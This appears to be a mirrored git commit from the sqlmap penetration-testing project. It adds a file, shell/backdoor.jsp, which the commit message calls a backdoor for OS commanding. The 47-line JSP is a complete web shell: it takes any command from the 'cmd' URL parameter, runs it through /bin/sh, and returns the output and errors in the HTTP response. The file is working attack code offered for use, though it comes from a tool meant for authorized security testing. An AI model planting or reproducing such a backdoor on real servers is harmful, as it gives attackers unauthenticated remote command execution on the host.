mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-22 09:36:35 +03:00
Added a JSP backdoor (GET /.../backdoor.jsp?cmd=<os command>) for long term new features for OS commanding
This commit is contained in:
parent
3d81f60962
commit
67e1be07a4
47
shell/backdoor.jsp
Normal file
47
shell/backdoor.jsp
Normal file
|
@ -0,0 +1,47 @@
|
|||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
|
||||
Process p;
|
||||
String s, cmd, html;
|
||||
|
||||
cmd = request.getParameter("cmd");
|
||||
if (cmd == null) {
|
||||
cmd = "pwd";
|
||||
}
|
||||
|
||||
String []bashcmd = {"/bin/sh","-c",cmd};
|
||||
|
||||
html = request.getParameter("html");
|
||||
|
||||
if (html != null) {
|
||||
out.println("<HTML>");
|
||||
}
|
||||
|
||||
p = Runtime.getRuntime().exec(bashcmd);
|
||||
|
||||
BufferedReader stdInput = new BufferedReader(new
|
||||
InputStreamReader(p.getInputStream()));
|
||||
|
||||
BufferedReader stdError = new BufferedReader(new
|
||||
InputStreamReader(p.getErrorStream()));
|
||||
|
||||
|
||||
|
||||
while ((s = stdInput.readLine()) != null) {
|
||||
out.println(s);
|
||||
if (html != null) {
|
||||
out.println("<br>");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
while ((s = stdError.readLine()) != null) {
|
||||
System.out.println(s);
|
||||
if (html != null) {
|
||||
out.println("<br>");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
%>
|
Loading…
Reference in New Issue
Block a user